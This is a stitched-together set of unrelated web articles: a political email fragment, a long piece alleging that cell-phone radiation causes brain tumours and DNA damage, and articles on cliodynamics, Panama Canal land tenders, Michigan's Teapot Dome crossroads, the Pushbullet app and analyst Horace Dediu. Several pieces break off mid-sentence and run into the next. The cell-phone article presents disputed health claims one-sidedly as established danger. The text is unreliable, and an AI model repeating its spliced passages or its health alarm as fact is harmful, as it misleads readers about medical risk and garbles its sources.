one market. Can vote against trade agreement and express frustration with middle class stagnation. > > --Fires up economic debate before you might like (but also possible -- not sure-- that some benefits to doing in group of other nat/sec notables) > > All of this doesn't answer question but may help frame it. > > White House meeting tomorrow at 5 to discuss general campaign on TPA. This will be discussed. Around all day before. > > Sandy > > > > > Sent from my iPhone > As of March 2, 2015 ASG’s Washington, DC offices have relocated to: > 601 13th St NW | 10th Floor | Washington, DC 20005 | Main Line +1 202.759.5100Ever worry that that gadget you spend hours holding next to your head might be damaging your brain? Well, the evidence is starting to pour in, and it's not pretty. So why isn't anyone in America doing anything about it?
Earlier this winter, I met an investment banker who was diagnosed with a brain tumor five years ago. He's a managing director at a top Wall Street firm, and I was put in touch with him through a colleague who knew I was writing a story about the potential dangers of cell-phone radiation. He agreed to talk with me only if his name wasn't used, so I'll call him Jim. He explained that the tumor was located just behind his right ear and was not immediately fatal—the five-year survival rate is about 70 percent. He was 35 years old at the time of his diagnosis and immediately suspected it was the result of his intense cell-phone usage. "Not for nothing," he said, "but in investment banking we've been using cell phones since 1992, back when they were the Gordon-Gekko-on-the-beach kind of phone." When Jim asked his neurosurgeon, who was on the staff of a major medical center in Manhattan, about the possibility of a cell-phone-induced tumor, the doctor responded that in fact he was seeing more and more of such cases—young, relatively healthy businessmen who had long used their phones obsessively. He said he believed the industry had discredited studies showing there is a risk from cell phones. "I got a sense that he was pissed off," Jim told me. A handful of Jim's colleagues had already died from brain cancer; the more reports he encountered of young finance guys developing tumors, the more certain he felt that it wasn't a coincidence. "I knew four or five people just at my firm who got tumors," Jim says. "Each time, people ask the question. I hear it in the hallways."
It's hard to talk about the dangers of cell-phone radiation without sounding like a conspiracy theorist. This is especially true in the United States, where non-industry-funded studies are rare, where legislation protecting the wireless industry from legal challenges has long been in place, and where our lives have been so thoroughly integrated with wireless technology that to suggest it might be a problem—maybe, eventually, a very big public-health problem—is like saying our shoes might be killing us.
Except our shoes don't send microwaves directly into our brains. And cell phones do—a fact that has increasingly alarmed the rest of the world. Consider, for instance, the following headlines that have appeared in highly reputable international newspapers and journals over the past few years. From summer 2006, in the Hamburg Morgenpost: are we telephoning ourselves to death? That fall, in the Danish journal Dagens Medicin: mobile phones affect the brain's metabolism. December 2007, from Agence France-Presse: israeli study says regular mobile use increases tumour risk. January 2008, in London's Independent: mobile phone radiation wrecks your sleep. September 2008, in Australia's The Age: scientists warn of mobile phone cancer risk.
Though the scientific debate is heated and far from resolved, there are multiple reports, mostly out of Europe's premier research institutions, of cell-phone and PDA use being linked to "brain aging," brain damage, early-onset Alzheimer's, senility, DNA damage, and even sperm die-offs (many men, after all, keep their cell phones in their pants pockets or attached at the hip). In September 2007, the European Union's environmental watchdog, the European Environment Agency, warned that cell-phone technology "could lead to a health crisis similar to those caused by asbestos, smoking, and lead in petrol."
Perhaps most worrisome, though, are the preliminary results of the multinational Interphone study sponsored by the International Agency for Research on Cancer, in Lyon, France. (Scientists from thirteen countries took part in the study, the United States conspicuously not among them.) Interphone researchers reported in 2008 that after a decade of cell-phone use, the chance of getting a brain tumor—specifically on the side of the head where you use the phone—goes up as much as 40 percent for adults. Interphone researchers in Israel have found that cell phones can cause tumors of the parotid gland (the salivary gland in the cheek), and an independent study in Sweden last year concluded that people who started using a cell phone before the age of 20 were five times as likely to develop a brain tumor. Another Interphone study reported a nearly 300 percent increased risk of acoustic neuroma, a tumor of the acoustic nerve.
As more results of the Interphone study trickled out, I called Louis Slesin, who has a doctorate in environmental policy from MIT and in 1980 founded an investigative newsletter called Microwave News. "No one in this country cared!" Slesin said of the findings. "It wasn't news!" He suggested that much of the comfort of our modern lives depends on not caring, on refusing to recognize the dangers of microwave radiation. "We love our cell phones. The paradigm that there's no danger here is part of a worldview that had to be put into place," he said. "Americans are not asking the questions, maybe because they don't want the answers. So what will it take?"
To understand how radiation from cell phones and wireless transmitters affects the human brain, and to get some sense of why the concerns raised in so many studies outside the U.S. are not being seriously raised here, it's necessary to go back fifty years, long before the advent of the cell phone, to the research of a young neuroscientist named Allan Frey.
In 1960, Frey, then 25, was working at General Electric's Advanced Electronics Center at Cornell University when he was contacted by a technician whose job was to measure the signals emitted by radar stations. At the time, Frey had taken an interest in the electrical nature of the human body, specifically in how electric fields affect neural functioning. The technician claimed something incredible: He said he could "hear" radar at one of the sites where he worked.
Frey traveled to the facility and stood in the radar field. "And sure enough, I could hear it, too," he said, describing the persistent low-level hum. Frey went on to establish that the effect was real—electromagnetic (EM) radiation from radar could somehow be heard by human beings. The "hearing," however, didn't happen via normal sound waves perceived through the ear. It occurred somewhere in the brain itself, as EM waves interacted with the brain's cells, which generate tiny electrical fields. This idea came to be known as the Frey effect, and it caused an uproar in the neuroscience community.
The waves that Frey was concerned with were those emitted from the nonionizing part of the EM spectrum—the part that scientists always assumed could do no outright biological damage. When Frey began his research, it was assumed that the only way microwaves could have a damaging biological effect was if you increased the power of their signals and concentrated them like sword points—to the level where they could cook esh. In 1967, this resulted in the first popular microwave oven, which employed microwave frequencies at very high power, concentrated and contained in a metal box. Aside from this engineered thermal effect, the signals were assumed to be safe.
Allan Frey would help pioneer the science that suggested otherwise. At the vanguard of a new field of study that came to be known as bioelectromagnetics, he found what appeared to be grave nonthermal effects from microwave frequencies—the part of the spectrum that belongs not just to radar signals and microwave ovens but also, in the past fifteen years, to cell phones. (The only honest way to think of our cell phones is that they are tiny, low-power microwave ovens, without walls, that we hold against the sides of our heads.) Frey tested microwave radiation on frogs and other lab animals, targeting the eyes, the heart, and the brain, and in each case he found troubling results. In one study, he triggered heart arrhythmias. Then, using the right modulations of the frequency, he even stopped frog hearts with microwaves—stopped the hearts dead.
Frey observed two factors in how microwaves at low power could affect living systems. First, there was the carrier wave: a frequency of 1,900 megahertz, for example, the same frequency of many cell phones today. Then there was the data placed on the carrier wave—in the case of cell phones, this would be the sounds, words, and pictures that travel along it. When you add information to a carrier wave, it embeds a second signal—a second frequency—within the carrier wave. This is known as modulation. A carrier wave can support any number of modulations, even those that match the extra-low frequencies at which the brain operates (between eight and twenty hertz). It was modulation, Frey discovered, that induced the widest variety of biological effects. But how this happened, on a neuronal level, he didn't yet understand.
In a study published in 1975 in the Annals of the New York Academy of Sciences, Frey reported that microwaves pulsed at certain modulations could induce "leakage" in the barrier between the circulatory system and the brain. Breaching the blood-brain barrier is a serious matter: It means the brain's environment, which needs to be extremely stable for nerve cells to function properly, can be perturbed in all kinds of dangerous ways. Frey's method was rather simple: He injected a fluorescent dye into the circulatory system of white rats, then swept the microwave frequencies across their bodies. In a matter of minutes, the dye had leached into the confines of the rats' brains.
Frey says his work on radar microwaves and the blood-brain barrier soon came under assault from the government. Scientists hired and funded by the Pentagon claimed they'd failed to replicate his findings, yet they also refused to share the data or methodology behind their research ("a most unusual action in science," Frey wrote at the time). For more than fifteen years, Frey had received almost unrestricted funding from the Office of Naval Research. Now he was told to conceal his blood-brain-barrier work or his contract would be canceled.
Since then, no meaningful research into the effect of microwaves on the blood-brain barrier has been pursued in the United States. But a Swedish neurosurgeon, Leif Salford, recently expanded on Frey's work, confirming much of what Frey revealed decades ago. Salford found that microwave exposure killed rodents' brain cells and stimulated neurons associated with Alzheimer's. "A rat's brain is very much the same as a human's," he said in a 2003 interview with the BBC. "They have the same blood-brain barrier and neurons. We have good reason to believe that what happens in rats' brains also happens in humans'. " His research, he said, suggests that "a whole generation of [cell-phone] users may suffer negative effects in middle age."
The potential complications don't end there. In the mid-1990s, a biophysicist at the University of Washington named Henry Lai began to make profound discoveries about the effects of such frequencies not only on the blood-brain barrier but also on the actual structure of rat DNA. Lai found that modulated EM radiation could cause breaks in DNA strands—breaks that could then lead to genetic damage and mutations that would be passed on for generations. What surprised Lai was that the damage was accomplished in a single two-hour exposure.
"This was explosive news," Slesin said. "The reason it was so important was at the time you had all these allegations of brain tumors and cell phones being connected"—specifically the 1992 lawsuit brought by a Florida man, David Reynard, against a number of companies that manufactured phones and provided cell service, following the death of his wife from a brain tumor. "If you can break up DNA with cell-phone radiation, suddenly it's not such a stretch to think of brain tumors developing from this radiation."
Galvanized by the Reynard case, Motorola frantically mobilized to reassure its investors. Then, in 1994, the company went on the attack to discredit Lai, issuing a memo, later obtained by Slesin, stating it had "war-gamed" Lai's work. "We do not believe that Motorola should put anyone on-camera," the memo said. "We must limit our corporate visibility." It further stated that the "key question" was whether "this experiment [can] be replicated."
The cell-phone industry funds lots of risk studies, and many of them show no effect from cell-phone-related radiation. The industry pointed to those favorable studies when countering Lai's DNA findings. (In 2004, it should be pointed out, a European Union–funded study carried out by twelve research groups in seven countries found evidence of genotoxic effects resulting from cell-phone radiation—the same kind of DNA damage that Henry Lai uncovered in the 1990s.) But when Jerry Phillips, a scientist with the Veterans Administration whose work was funded by Motorola, replicated Lai's findings, the company put him under so much pressure not to publish that Phillips abruptly quit microwave research altogether.
Industry-funded studies seem to reflect the result of corporate strong-arming. Lai reviewed 350 studies and found that about half showed bioeffects from EM radiation emitted by cell phones. But when he took into consideration the funding sources for those 350 studies, the results changed dramatically. Only 25 percent of the studies paid for by the industry showed effects, compared with 75 percent of those studies that were independently funded.
The cell-phone industry has managed to ert its influence in other ways, too. In the United States, the organization most influential in the government's setting of standards for microwave exposure is the Institute of Electrical and Electronics Engineers (IEEE), which bills itself as "a leading authority on areas ranging from aerospace systems, computers, and telecommunications to biomedical engineering, electric power, and consumer electronics." According to Slesin, "The committees setting the EM safety levels at the IEEE historically have been dominated by representatives from the military, companies like Raytheon and GE, the telecom companies, and now the cell-phone industry. It is basically a Trojan horse for the private sector to dictate public policy." The IEEE's "safe limits" for microwave exposure are considerably higher than what they should be, says Allan Frey, who was a member of the organization in the '70s. "When it comes to this matter, the IEEE is a charade," Frey told me.
There have been attempts over the years to set exposure limits based on something other than industry and military preference. In the '70s and '80s, the Environmental Protection Agency was foremost in this effort. But with Ronald Reagan in office, antiregulatory sentiment crested and the EPA's research and standards programs were gutted.
Among the EPA's most talented bioelectromagnetics experts at the time was Carl Blackman, who has worked at the agency since its inception in 1970. Blackman's research at the EPA would advance much of what Allan Frey and others had discovered: The effects from EM fields were many and troubling, though far from fully understood. In 1986 the EPA killed Blackman's research entirely. Carl Blackman believes "a decision was made to stop the civilian agencies from looking too deeply into the nonthermal health effects from exposure to EM fields. Scientists who have shown such effects over the years have been silenced, had funding taken away, been laughed at, been called charlatans and con men. The goal was to only let in scientists who would say, 'We know that microwave ovens can cook meat, and that's all we need to know.' " One veteran EPA physicist, speaking anonymously, told me, "The Department of Defense didn't like our research because the exposure limits that we might recommend would curtail their activities."
Industry influence appears to have permeated even the purest international watchdogs, such as the World Health Organization. Slesin unearthed a hoard of documents showing that hundreds of thousands of dollars from the cell-phone industry was doled out to WHO personnel working on wireless health effects. Some of the heaviest pressure falls on the Federal Communications Commission, for obvious reasons. In 2005 the specially appointed thirty-member Technological Advisory Council to the FCC sought to look into EM effects on human beings. According to one member of the TAC who spoke anonymously, officials at the FCC "told us we couldn't talk about that. They would not give us any reason. The FCC people were embarrassed and terrified."
If all this sounds like some abandoned X-Files script, consider the history of suppression of evidence in the major issues of consumer health over the past half century. Big Tobacco hid the dangers of smoking and the addictiveness of nicotine, supporting its position with countless deceptive studies. Asbestos manufacturers hid evidence that the mineral was dangerous even as tens of thousands of workers died from exposure; the makers of D |
0, including riots and terrorism.
>'We start with questions that historians have asked for all of history. For example: Why do civilizations collapse?' Peter Turchin
This burgeoning field is part of a much larger effort to gain more insight into our world through the massive amounts of digital data that are now available via the internet – a movement that ranges from Google's search engine to the data science contests run by San Francisco startup Kaggle. The difference is that cliodynamics uses data from the distant past. Turgin and his cohorts mine historical documents that have only recently come online.
Turchin didn't begin as a historian. His original area of interest was ecosystem dynamics, but he soon decided that many of the interesting problems had already been solved. So he started looking for ways of applying mathematics to other fields. "The only way to do science is to make predictions and then testing them with data," Turchin says. Many other social sciences – including sociology, economics, and even anthropology – had already been revolutionized by mathematics. But historians had resisted quantification.
He founded the movement in the late '90s, and since then, many more have joined in. In 2010, this growing community of researchers started the peer-reviewed publication Cliodynamics: The Journal of Theoretical and Mathematical History.
The basic idea is nothing new. Thinkers from Georg Wilhelm Friedrich Hegel to Oswald Spengler to Leo Tolstoy tried to develop cyclic theories of history that could also predict the future. Austrian philosopher Karl Popper critiqued this notion in his The Poverty of Historicism in 1957. And the '60s spawned a movement called cliometrics. But the approach eventually fell out of favor. "General theories of history are not accepted, in my opinion, for good reason," says Turchin. And yet he followed cliometrics with cliodynamics. The new field, you see, has an edge that predecessors didn't.
It's not the mathematics. Turchin says his methods aren't very complex. He's using common statistical techniques like spectrum analysis – "I used much more sophisticated statistical methods in ecology," he says. And it's not "big data" tools. The data sets he's using aren't all that big. He can analyze them using ordinary statistical software. But he couldn't have built these models even a few decades ago because historians and archivists have only recently started digitizing newspapers and public records from throughout history and putting them online. That gives cliodynamics the opportunity to quantify what has happened in the past – and make predictions based on that data.
In the simplest of terms, Turchin and his colleagues will build a mathematical model using one data set and then test that model against other historical data sets they're unfamiliar with. That way, they can see if the model holds. This isn't exactly the psychohistory described by Isaac Asimov. "For the most part, we don't predict the future. It's too far. We can't wait 200 years to see if something's right," Turchin says. "I'm not a prophet." But cliodynamics moves in that direction – and it's not science fiction. Though traditional historians are often wary of the practice, others very much see the value.
"It's very important to do. It should force traditional historians to respond," says Yale historian Joseph Manning. "Most people in my field just publish documents and don't go behind them."
Peter Turchin's graph describes the regular waves of violence – including riots and terrorism – that characterize U.S. history. Image: Peter Turchin
Waves of Violence
What Turchin and his colleagues have found is a pattern of social instability. It applies to all agrarian states for which records are available, including Ancient Rome, Dynastic China, Medieval England, France, Russia, and, yes, the United States. Basically, the data shows 100 year waves of instability, and superimposed on each wave – which Turchin calls the "Secular Cycle" – there's typically an additional 50-year cycle of widespread political violence. The 50-year cycles aren't universal – they don't appear in China, for instance. But they do appear in the United States.
The 100-year Secular Cycles, Turchin believes, are caused by longer-term demographic trends. They occur when a population grows beyond its capacity to be productive, resulting in falling wages, a disproportionately large number of young people in the population, and increased state spending deficits. But there's a more important factor, one that better predicts instability than population growth. Turchin calls it "elite overproduction." This refers to a growing class of elites who are competing for a limited number of elite positions, such as political appointments. These conflicts, Turchin says, can destabilize the state.
Many of these issues persist in industrial societies. Although population growth is no longer likely to result in mass starvation, it can push the supply of labor beyond demand, leading to increased unemployment.
>Turchin takes pains to emphasize that the cycles are not the result of iron-clad rules of history, but of feedback loops – just like in ecology
Then you have the 50-year cycles of violence. Turchin describes these as the building up and then the release of pressure. Each time, social inequality creeps up over the decades, then reaches a breaking point. Reforms are made, but over time, those reforms are reversed, leading back to a state of increasing social inequality. The graph above shows how regular these spikes are – though there's one missing in the early 19th century, which Turchin attributes to the relative prosperity that characterized the time.
He also notes that the severity of the spikes can vary depending on how governments respond to the problem. Turchin says that the United States was in a pre-revolutionary state in the 1910s, but there was a steep drop-off in violence after the 1920s because of the progressive era. The governing class made decisions to reign in corporations and allowed workers to air grievances. These policies reduced the pressure, he says, and prevented revolution. The United Kingdom was also able to avoid revolution through reforms in the 19th century, according to Turchin. But the most common way for these things to resolve themselves is through violence.
Turchin takes pains to emphasize that the cycles are not the result of iron-clad rules of history, but of feedback loops – just like in ecology. "In a predator-prey cycle, such as mice and weasels or hares and lynx, the reason why populations go through periodic booms and busts has nothing to do with any external clocks," he writes. "As mice become abundant, weasels breed like crazy and multiply. Then they eat down most of the mice and starve to death themselves, at which point the few surviving mice begin breeding like crazy and the cycle repeats."
There are competing theories as well. A group of researchers at the New England Complex Systems Institute – who practice a discipline called econophysics – have built their own model of political violence and concluded that one simple variable is sufficient to predict instability: food prices. In a paper titled "The Food Crises and Political Instability in North Africa and the Middle East," they explain that although many other grievances may be aired once the violence begins, the cost of food is the primary trigger. They make a similarly grim prediction: large-scale riots over food, beginning around October of this year.
Into the Dark Archives
Much has been made of machine learning algorithms and software such as Hadoop and how they're used to mine the enormous amounts of data generated by the average internet user, but cliodynamics shows that we can find just as much value in "dark archives" – the mounds of non-digitized records that we don't realize contain useful data. Quantitative biologist Samuel Arbesman calls this "long data," and he urges the world to take a closer look.
Arbesman says that many traditional historians are beginning to embrace Turchin's practices, opening up opportunities for academics in the humanities to collaborate with mathematicians and economists. But he adds that academics aren't the only ones who can benefit from dark archives brought online. Even businesses, he says, can mine such data.
Some businesses, explains says, have been around for hundreds of years, changing with the times. IBM was founded in 1911 and originally sold tabulating machines. Nintendo started out in 1889 as as a playing card company. The construction company Kongō Gumi existed for over 1,400 years.
Their future, he says, can benefit from their past.SHANGHAI (Reuters) - Chinese state firms have expressed an interest to develop land around the Panama Canal, the chief executive of the vital trade thoroughfare said, underlining China’s outward push into infrastructure via railways and ports around the world.
A floating gate is opening to the Chinese COSCO container vessel named Andronikos navigating through the Agua Clara locks during the first ceremonial pass through the newly expanded Panama Canal in Agua Clara, on the outskirts of Colon City, Panama June 26, 2016. REUTERS/Carlos Jasso
The Panama Canal Authority will officially open a tender to develop about 1,200 hectares of land - roughly the size of 1,200 football fields - around the waterway by the end of this year into a logistics park, after completing a five-year-long decontamination of the area, Chief Executive Jorge Quijano said.
“We have been talking to people here in China,” Quijano told Reuters on Monday ahead of a meeting with the canal’s advisory board in Shanghai. China Communications Construction Corp (601800.SS)(1800.HK), its subsidiary China Harbour Engineering Company and China Railway Group (601390.SS)(0390.HK) have shown interest in the project, he added.
This comes at a time when China is urging its companies to invest in infrastructure overseas as part of Beijing’s “One Belt, One Road” initiative to improve global trade links.
China’s state firms have in recent years already chalked up investments in key logistics nodes, including Piraeus in Greece and Bandar Malaysia, a major development project that is set to be the terminal for a proposed high-speed rail link between Kuala Lumpur and Singapore.
China’s COSCO Shipping Corp (601919.SS)(1919.HK), which owns stakes in ports around the world including Piraeus (OLPr.AT), has in the past approached the Panama Canal Authority about the latter’s plans for the land, Quijano said.
“There are opportunities there, definitely for some of these Chinese companies to participate as a concessionaire, not just as a contractor to build something, but they can actually bid for the concession and then build,” he said.
He did not say how much the authority expected to get by selling the concession to develop the land.
China Communications Construction, China Railway Group and COSCO did not immediately respond to requests for comment.
NEW REVENUE STREAM
Quijano said the canal authority will parcel out the land and grant concession agreements of up to 40 years, with the aim to develop infrastructure and buildings on land previously used by the United States military for target practice.
Also up for grabs is an operating agreement for a roll-on, roll-off terminal near the canal, the tender for which will be put out in the middle of 2017, he said, adding the authority expected interest from Japan, China, Norway and South Korea.
He estimated the land and terminal would help bring in an annual revenue of “between $100-$125 million” after the first five years of operation. Overall, the Panama Canal is expected to bring in $2.8 billion in revenue this year, he said.
Panama opened the long-delayed $5.4 billion expansion of the canal between the Atlantic and Pacific oceans last June, but it has since been roiled by claims of cost overruns and criticism after a series of incidents that saw ships hit the lane’s wall.
Quijano said the canal had attracted 18.3 percent more tonnage between October to February, versus year-ago levels, driven by a jump in liquefied petroleum gas, liquefied natural gas and container shipments.John Mairs owns an electrical business that takes him all over southwest Michigan. A few years ago, something caught his eye in Van Buren County – a road sign for “Tea Pot Dome.”
The sign lies just west of County Road 671 and the Red Arrow Highway, a few miles west of Paw Paw. Mairs says he couldn’t figure out what it referred to.
“My very first thought was it was geographic, but there’s nothing here to support that - pretty flat,” Mairs says.
"Why's That?" explores the origins of Teapot Dome
“Why’s That?” explores what in Southwest Michigan makes you curious. Tell us what’s caught your attention.
The answer took WMUK’s “Why’s That?” into 1920s politics – and the history of a business that opened along this road when it was old M-17, then part of a major route between Chicago and Detroit.
The business began as a service station for motorists. It was founded by Chris Henderson, a Chicagoan who left the city on the advice of his doctor. He and his wife Florence settled on Lake Cora.
An early ad called the business simply the “Chris Henderson Service Station.” But by late summer 1924, the business would gain a more distinctive name. Henderson’s granddaughter, Mary Burger, says she’s always heard the idea came from a conversation with a friend.
“He and my grandfather Chris got talking and they were discussing the Teapot Dome scandal, which was taking place around that time. And so that’s how they came up with the name,” she says.
The Teapot Dome scandal was big news at the time that Chris Henderson opened his shop. By then the public knew that Albert Fall, who had been President Warren Harding’s Secretary of the Interior, had secretly leased government oil fields to private companies. One of those fields was known as Teapot Dome.
Fall had made it look like the deals were on the level. But eventually investigators found proof that he had leased the oil fields in exchange for bribes.
Teapot Dome ranks as a major scandal in American political history. But Burger says she doesn’t think her grandfather was trying to make a statement when he named his business Teapot Dome.
“As far as I know the name kind of just stuck. I don’t think it was politically related or anything else,” she says.
Henderson he wasn’t the only one who found the name Teapot Dome catchy. An unrelated Teapot Dome gas station went up near Pentwater. A Pierce, Nebraska service stop had a Teapot-Dome-themed lunch room. The most famous Teapot Dome establishment is in Washington State and it is shaped like a teapot.
But Mary Burger says Teapot Dome near Paw Paw offered more than just gas.
“They had cabins and a big farmer’s market and grandmother loved to bake. She would sell cookies and pies and cakes and all of that,” she says.
Burger’s grandmother Florence would bring cake to the crowd after baseball games that took place next to Teapot Dome.
“And then I think they went to the food from there, making it a little restaurant,” Burger says.
Soon the crossing where Teapot Dome stood went by that name as well. It shows up on some maps as Teapot Dome (usually two words despite the road sign) and, as John Mairs found, it gets its own road sign – though it's not a municipality or even a platted suburb.
As for Teapot Dome the business? You can’t buy gas there anymore, or rent a cabin. But more than 90 years after it opened, Teapot Dome is still serving food.
April Sheeran bought the restaurant a few years ago. She says the old building has its challenges. But the restaurant still draws a crowd for lunch and especially breakfast.
Sheeran says some of her customers remember when Teapot Dome served as a pit stop for farmers who went to work on foot.
“If they were going from Lawrence or Hartford, they were walking to their fields or wherever they were going to go and work. And so I have stories like that that people tell me. ‘Oh I used to stop and there was a little pop machine and a bench and we would stop and have something to drink,’” she says.
Joan and Roy Miller have been eating at Teapot Dome for 31 years. They’re sitting by a wall decorated with teapots. No memorabilia from the Teapot Dome scandal, though Joan says she’s heard of it.
“Because the elementary school I went to in Northwest Indiana was after the worst most corrupt president in history and it was named Harding elementary,” she says.
“And they talked about the scandal all the time there, didn’t they?” Roy asks.
John Mairs, who wanted to know the reason for the Teapot Dome sign, says he’s not surprised the answer came from a descendant of the founder.
“I figured somebody local would know,” he says.
_How I Work The How I Work series asks heroes, experts, and flat-out productive people to share their shortcuts, workspaces, routines, and more. Have someone you want to see featured, or questions you think we should ask? [Email Nick](mailto:nick.douglas@lifehacker.com).
We all live across multiple screens as our gaze hops from our phones to our laptops and to our tablets. How do you keep yourself in order when your digital life is sprawled about like paperwork in a messy office? Pushbullet is working towards an answer.
In its simplest form Pushbullet acts as a relay between your desktop and phone, so you can receive text messages and other notifications on your desktop—or push data to your phone. Of course, this sort of functionality is baked in to some newer operating systems, but Pushbullet is aiming to bridge any device and OS.
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It began as a side project from Ryan Oldenburg in 2012, and launched the following year to a welcome reception from Android users who were looking for better ways to relay information between devices. We caught up with Ryan to learn more about why the project started and what he has in mind for its future.
Where did the idea for the app come from? Were you trying to solve a problem you'd experienced, or did the inspiration come from somewhere else?
Ryan Oldenburg: I got started on Pushbullet because of the pain I felt trying to send stuff between my phone and computer. I'd literally end up emailing myself links and files just to get them from one to the other. I know almost everyone still does, too, which is funny in a depressing kind of way. Pushbullet started as an easier and faster way to move links and files between devices.
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The way Pushbullet could actually achieve this hit me when Jelly Bean (Android 4.1) came out. Jelly Bean added support for rich notifications, which let you see content within a notification, and even have buttons. When I saw that this let me read my email (and even archive them) without opening the Gmail app, it became obvious to me that the notification tray was now the most useful part of my phone.
Near the same time, I'd tried Google's Chrome to Phone extension and thought it was really cool. The extension lets you instantly send a webpage into the notification tray on your phone. Google abandoned the project as just a tech demo, but I knew there was a huge amount of potential to the concept of instant transfers combined with a notification for super easy access.
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After making link and file transfers between devices dead simple, I realized that the system for sharing information between devices that we'd built had a ton of other potential uses. The first feature we added next enabled people to see and dismiss notifications from their phone while on their computer.
Being able to see and dismiss my phone's notifications on my computer came 100 percent out of personal desire. Not having to grab my phone all the time while working at my computer is both incredibly convenient and also essentially "how things should work." The fact that I got an email isn't meant for just my phone—it's meant for me. I should see this notification on all of my digital devices and should only need to dismiss it once, too. This seems obvious, but before we built it, this didn't exist.
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After you came up with the idea, what was the next step?
Getting started building.
I started working on Pushbullet as a side project while working full time at Hipmunk. First I decided on the functionality I'd need to have in the first version to prove that I wasn't the only one that would want this app (I started with simple link transfers), and then I got to work over the holidays building the Android app, website, and backend.
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How did you choose which platforms to target and which to ignore or wait on?
I started on Android because I'd been an Android developer for a few years, which made this choice an easy one.
What was your biggest roadblock and how did you overcome it?
My biggest roadblock was probably just getting all of the pieces working together and into a shippable state. This was difficult since, as I said, Pushbullet started as a side project. It's not easy to work full time and then spend all of your free time on a side project. I think a countdown starts when you begin a side project: you need to get your first release out in time or you'll run out of steam.
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For me, while I was confident on Android, I hadn't built a backend nor a website in years. And when I had, it was on top of an existing system. Getting everything working from nothing, including the front-end design, the database, servers, the authentication system, the sign-up email—even deciding the app name and colors—it all adds up fast and can get overwhelming for one person.
What was launch like for you?
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Pushbullet's launch was actually quite successful. I think we got lucky in that, but I'm certainly not complaining.
I released Pushbullet on a Sunday so I'd be off of work and able to focus on whatever happened.
Launching consisted of just submitting the launch blog post to Reddit's Android community and to Hacker News. Both of the submissions are linked to at the bottom of the post.
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While Hacker News was somewhat receptive, Reddit's Android community reacted extremely enthusiastically, which was awesome. Based on their feedback, I rushed out a Chrome extension to Pushbullet the next week.
From there, Pushbullet hit 15,000 users in just those two weeks. You can imagine how excited I was, and we've basically been at it since.
How do you handle user requests and criticisms effectively?
Handling user requests and criticism well for us is largely about seeing the feedback and being seen responding to it. We get a lot of our feedback in public, so we respond in public as well.
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This includes the Android subreddit and our own subreddit, our Google+ page and beta community, as well as the comments on our blog posts and any posts written by the media about us.
We read all of these posts and the comments on them, and try to reply to a large amount of them every time. As a result, we've earned a reputation for being responsive and accessible. This reputation has earned us a lot of good will and made people more willing to give us feedback. This is a great benefit considering how critical great feedback is to continuing to grow.
Now, how do you split time between developing new features and managing existing ones?
I believe there are few things more annoying than software that isn't reliable. This means we focus on squishing bugs as soon as we hear about them.
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It does take time, but by staying on top of them so the bug list never gets out of control, it really doesn't take that much time. It's also how Pushbullet has earned it's status as one of the best reviewed and most reliable apps out there.
Developing new features is what we spend most of our time working on. New features, however, isn't quite how I'd describe it. I consider most of what we work on to be "missing features"—meaning things that we should obviously add but just haven't been able to build yet.
Our focus on filling the gaps in our functionality instead of "new tricks" means we've avoided losing focus and our app just "getting bigger." Instead, Pushbullet is always actually getting better.
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I've noticed you tend to release new features as you develop them, rather than doing sporadic but larger revisions to the app. Are fast iterations something you prioritize?
Iterating on ideas and getting things out fast is a sort of classic piece of advice given these days. I believe it is definitely correct as well. Though many people believe the reason to do so lies in being able to quickly respond to feedback and improve the product, I'd say the reasoning for us is a bit more complex:
First, it feels good to have a real momentum behind you. It keeps us pushing forward and keeps our users excited to hear about the next update too, because they know it's coming.
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It also means we avoid having those really scary launches where everything has changed and you just sort of pray it goes alright. These can be seriously demotivating.
Not getting locked into a giant release also means we can respond to feedback or fix bugs fast. Not "fast" as in weeks or months—I mean fast as in hours or days, depending on what we're talking about.
When it comes down to it, our experience as developers has taught us that releasing often is simply better for our motivation and energy. When things slow down, basically everything gets worse.
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What do you picture Pushbullet being like a few years from now?
Everyone is only going to have more devices in their lives over the next few years. Phones, tablets, and computers continue to become more ubiquitous. This means Pushbullet's opportunity to save people time and enable unique and convenient functionality only gets more exciting going forward.
What advice would you give to others that want to take on a similar project?
Pushbullet has grown into a quite large piece of software that, in many ways, seems deceptively simple. If I'd started working on it with both the ambition to build what it is today and the stubbornness to require that all our current features were included very first version, however, Pushbullet wouldn't exist. So many great ideas never make it out into the world because the person working on it doesn't get the project to a release before stopping.
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If you're really excited about a project, the best way to make it to the finish line is to keep it simple at first. There is always some single element you can distill your app or service down to. Get that most basic value-add released and feel what the real world thinks of it as soon as you can. It's great to grow from there.
Every other Wednesday, Behind the App gives an inside look at how some of our favorite apps came to be—from idea to launch (and beyond). Have someone you'd like to see featured? Email Andy.“I have few average days,” says Horace Dediu, one of the most well-respected watchers of the mobile industry, and Apple in particular, when asked about how he fills his time while running the Asymco blog and consultancy.
“Right now it’s 2am and I’m in Australia. If I am at home my work is usually a few hours of reading and email followed by about 2 to 3 hours writing a post. If I have time, I read and look at data. Ideally I would prefer to have a regular schedule but travel is making it impossible.”
Indeed, later this month Dediu’s international speaking schedule takes him to the Thinking Digital conference in Gateshead, UK, an event we described last year as “The UK’s answer to TED.” The Next Web is a media partner for the event and we caught up with him to discuss analysts, Apple and emerging markets.
TNW: Some Apple analysts attract derision for, say, predicting an Apple-branded TV that never appears. What makes a good analyst and how are analysts’ predictions different in importance from those of a good tech blogger?
Dediu: Apple analysts vary. If you refer to “sell-side” analysts who are working for financial services companies, their paychecks are not tied to accuracy or foresight. They are sold as a resource to clients of the firm and their work is meant to manage client expectations. They depend on access to management and supply chain managers for any differentiation. It is not a recipe for understanding a company’s resources, processes or priorities.
Another set of analysts are market analysts like Gartner or IDC that try to measure the market or industry. They make fewer predictions about a single company but they too can be forced into a blunder by suggesting that Apple or any other company behaves like any other.
There are other observers who are often more insightful. They are not called analysts because they don’t have that job title. They are bloggers or people who may have worked in the industry and can make informed opinions. They are typically more insightful because they are motivated to provide accurate predictions to establish credibility and reputation with a wide audience who is not expected to pay for their work.
“The opinion of (analysts) who are highly paid should be treated with suspicion”
So paradoxically, the opinion of those who are highly paid should be treated with suspicion while the opinion of those subject to peer review should be treated with respect. It brings to mind the difference between highly paid fortune tellers and pundits whose methods are obscure vs. poorly paid graduate students whose methods are open to all. Whose opinion is worth more?”
TNW: There has been much talk recently on the ‘decline’ of Apple, as reflected in its stock price. What’s your take on this ‘decline’ and the suggestions that Tim Cook should be fired?
Dediu: I’ve written about the perception of decline several times. The quick answer is that as Apple has risen, the number of people who have taken it upon themselves to give commentary on how Apple should improve itself has increased. If the increase in commentary is in proportion to Apple’s sales then it has risen ‘exponentially’.
